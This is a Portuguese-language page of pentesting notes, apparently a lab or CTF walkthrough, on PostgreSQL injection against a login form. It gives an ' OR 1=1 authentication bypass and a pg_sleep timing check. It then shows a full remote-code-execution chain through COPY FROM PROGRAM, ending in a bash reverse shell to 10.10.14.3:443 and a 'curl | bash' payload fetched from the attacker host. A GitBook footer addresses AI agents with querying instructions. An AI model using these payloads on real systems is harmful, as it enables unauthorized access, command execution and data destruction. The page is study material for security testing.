> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md).

# Injeção PostgreSQL

{% hint style="info" %}
PostgreSQL é um sistema de gerenciamento de banco de dados objeto-relacional poderoso e de código aberto, capaz de lidar com segurança com as cargas de dados mais complexas.
{% endhint %}

Durante o envio dessas credenciais:

```sql
username: '
password: '

```

Ocorre um erro SQL, fornecendo uma base PostgreSQL com `pg_query`.

<figure><img src="/files/ae3a73c2092fd209d4cb0f0b7feb7b212b603634" alt=""><figcaption></figcaption></figure>

### **Exploração**

Teste uma injeção de payload clássica:

```vbnet
username: ' OR 1=1-- -
password: anything

```

Obtemos acesso ao painel de administração do Dashboard.

<figure><img src="/files/f08b0c0d9b8f9e9bd36c66ce541a67f82f6bd452" alt="" width="563"><figcaption></figcaption></figure>

Intercepte as requisições com **Burp Suite** e use recursos como **HackTricks** para ajustar as injeções.

<figure><img src="/files/bcc0a25080c74ea1bca25bd51588cdecff30c56b" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection>" %}

#### Para testar se a injeção permite a execução de comandos, use:

`;select pg_sleep(10);-- -` Se a resposta levar 10 segundos, a injeção é explorável.

<figure><img src="/files/261568e0d64186d18c044212d3904ed2e59794df" alt=""><figcaption></figcaption></figure>

### **Execução de comandos**

Aqui está um exemplo para obter uma execução remota de comandos (RCE):

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

```

Crie um arquivo `index.html` contendo:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

```

Inicie um servidor HTTP:

```bash
python3 -m http.server 80

```

Configure um listener:

```bash
nc -nvlp 443

```

Envie o payload:

```sql
username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d
username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d
username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d

```

<figure><img src="/files/49eccab2bf8339aad983e49f45d617395a767fe8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
